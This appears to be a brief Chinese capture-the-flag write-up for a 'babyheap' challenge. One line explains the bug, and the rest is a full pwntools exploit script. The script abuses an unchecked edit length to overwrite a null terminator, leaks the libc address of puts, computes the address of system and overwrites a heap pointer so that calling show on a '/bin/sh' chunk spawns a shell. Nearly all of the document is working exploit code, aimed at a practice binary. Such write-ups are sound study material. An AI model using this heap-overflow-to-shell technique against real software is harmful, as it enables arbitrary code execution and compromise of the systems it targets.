简单堆入门题目edit长度自己输入且堆上面由put的libc地址覆盖00截断即可打印出libc然后再次写入’/bin/sh’拿到shell
exp:
from pwn import *
p=p=process('./babyheap')
elf=ELF('./babyheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset=libc.symbols['puts']-libc.symbols['system']
log.success('offset: '+hex(offset))
def add(content):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('content: ')
p.sendline(content)
def edit(idx,size,content):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(idx))
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('content: ')
p.sendline(content)
def delete(idx):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('index: ')
p.send(str(idx))
def show(idx):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(idx))
pop_rdi=0x0400bf3
add('aaaa') #idx 0
add('bbbb') #idx 1
edit(0,24,'a'*20+'ccc')
show(0)
put_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('put_addr: '+hex(put_addr))
libcbase=put_addr-libc.symbols['puts']
system_addr=libcbase+libc.symbols['system']
edit(1,0x20,'/bin/sh\x00'+'a'*16+p64(system_addr))
show(1)
p.interactive()